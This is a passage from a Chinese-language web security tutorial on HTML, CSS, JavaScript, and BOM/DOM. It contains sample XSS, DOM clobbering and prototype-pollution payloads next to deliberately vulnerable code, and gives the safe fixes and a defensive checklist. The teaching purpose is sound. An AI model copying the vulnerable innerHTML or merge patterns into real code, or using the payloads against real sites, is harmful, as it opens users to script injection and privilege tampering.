// 範例:從 URL 取得參數直接顯示
// URL: https://example.com/page?name=<script>alert('XSS')</script>
const params = new URLSearchParams(location.search);
document.getElementById('greeting').innerHTML = 'Hello, ' + params.get('name');
// 造成 XSS!
// 安全的做法
document.getElementById('greeting').textContent = 'Hello, ' + params.get('name');
DOM Clobbering
DOM Clobbering 是一種利用 HTML 元素的 id 或 name 屬性來覆蓋 JavaScript 全域變數的攻擊技術。
<!-- 假設頁面原本期望 config 是一個物件 -->
<script>
// 開發者預期的程式碼
if (config && config.debug) {
console.log('Debug mode');
}
</script>
<!-- 攻擊者注入的 HTML -->
<img id="config" name="debug" src="x">
<!-- 現在 window.config 指向這個 img 元素 -->
<!-- config.debug 指向同一個元素(因為 name="debug") -->
<!-- 這可能導致非預期的行為 -->
Prototype Pollution
// 原型污染可能導致意外的行為
// 假設有不安全的物件合併函數
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// 攻擊者控制的輸入
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);
// 現在所有物件都有 isAdmin 屬性
const user = {};
console.log(user.isAdmin); // true!
實戰工具與練習
瀏覽器開發者工具
按 F12 開啟開發者工具:
Elements 分頁:
– 檢視和修改 HTML 結構
– 即時編輯 CSS 樣式
– 查看元素的事件監聽器
Console 分頁:
– 執行 JavaScript 程式碼
– 查看錯誤和警告
– 使用 $0 引用選中的元素
Network 分頁:
– 查看所有網路請求
– 分析請求和回應內容
– 模擬慢速網路
Application 分頁:
– 查看和修改 Cookie
– 查看 localStorage 和 sessionStorage
– 查看 Service Worker
Sources 分頁:
– 查看和除錯 JavaScript 程式碼
– 設定中斷點
– 查看呼叫堆疊
常用 Console 指令
// 查看 Cookie
document.cookie
// 查看 localStorage
localStorage
// 查看所有全域變數
Object.keys(window)
// 查看元素的所有事件
getEventListeners($0)
// 監控函數呼叫
monitor(functionName)
// 監控事件
monitorEvents(element, 'click')
// 複製到剪貼簿
copy(object)
// 清除 Console
clear()
練習資源
XSS 練習平台:
– PortSwigger Web Security Academy
– XSS Game (https://xss-game.appspot.com/)
– alert(1) to win (https://alf.nu/alert1)
– prompt(1) to win
DOM 操作練習:
– JavaScript30 (https://javascript30.com/)
– freeCodeCamp
– MDN Web Docs 互動範例
線上編輯器:
– CodePen (https://codepen.io/)
– JSFiddle (https://jsfiddle.net/)
– JS Bin (https://jsbin.com/)
重點整理
BOM vs DOM 對照表
| 項目 | BOM | DOM |
|---|---|---|
| 頂層物件 | window | document |
| 主要功能 | 瀏覽器互動 | 文件操作 |
| location | 管理 URL | – |
| history | 瀏覽歷史 | – |
| navigator | 瀏覽器資訊 | – |
| screen | 螢幕資訊 | – |
| localStorage | 本地儲存 | – |
| – | – | getElementById |
| – | – | querySelector |
| – | – | createElement |
| – | – | innerHTML/textContent |
安全檢查清單
□ 永遠使用 textContent 而非 innerHTML 處理使用者輸入
□ 驗證所有來自 URL 的資料(location.search, location.hash)
□ 不要使用 eval() 和字串形式的 setTimeout/setInterval
□ 敏感資料不要存在 localStorage
□ 實作 CSP 來限制腳本執行
□ 使用 HttpOnly Cookie 儲存 session token
□ 驗證重導向 URL 防止 Open Redirect
□ 注意 DOM Clobbering 和 Prototype Pollution
延伸閱讀
官方文件
- MDN Web Docs: https://developer.mozilla.org/
- W3C DOM 規範: https://www.w3.org/DOM/
- WHATWG HTML 規範: https://html.spec.whatwg.org/
資安相關
- OWASP XSS Prevention Cheat Sheet
- PortSwigger Web Security Academy
- DOM-based XSS Prevention Cheat Sheet
推薦書籍
- 《JavaScript: The Good Parts》
- 《High Performance JavaScript》
- 《Web Application Hacker’s Handbook》
總結
這篇文章涵蓋了前端技術的核心知識:
HTML
– 文件結構與常見標籤
– 表單元素與屬性
– HTML 實體編碼與 XSS 防護
CSS
– 選擇器與優先順序
– 常用屬性
– CSS Injection 與 UI Redressing
JavaScript
– 基本語法與資料類型
– 事件處理與非同步操作
– XSS 攻擊向量與防禦
BOM vs DOM
– BOM 物件:window、location、history、navigator
– DOM 操作:選擇、建立、修改、刪除元素
– DOM-based 漏洞
對資安人員來說,理解這些前端技術是進行 Web 安全測試的基礎。無論是:
– 尋找 XSS 漏洞
– 分析惡意網頁
– 理解 CSP 繞過技術
– 進行 DOM-based 攻擊
都需要扎實的前端知識。
下一步,你可以:
– 在 PortSwigger Academy 練習 XSS 題目
– 學習使用 Burp Suite 攔截和修改請求
– 研究 CSP 的配置和繞過方式
– 深入學習 JavaScript 框架的安全問題(React、Vue、Angular)


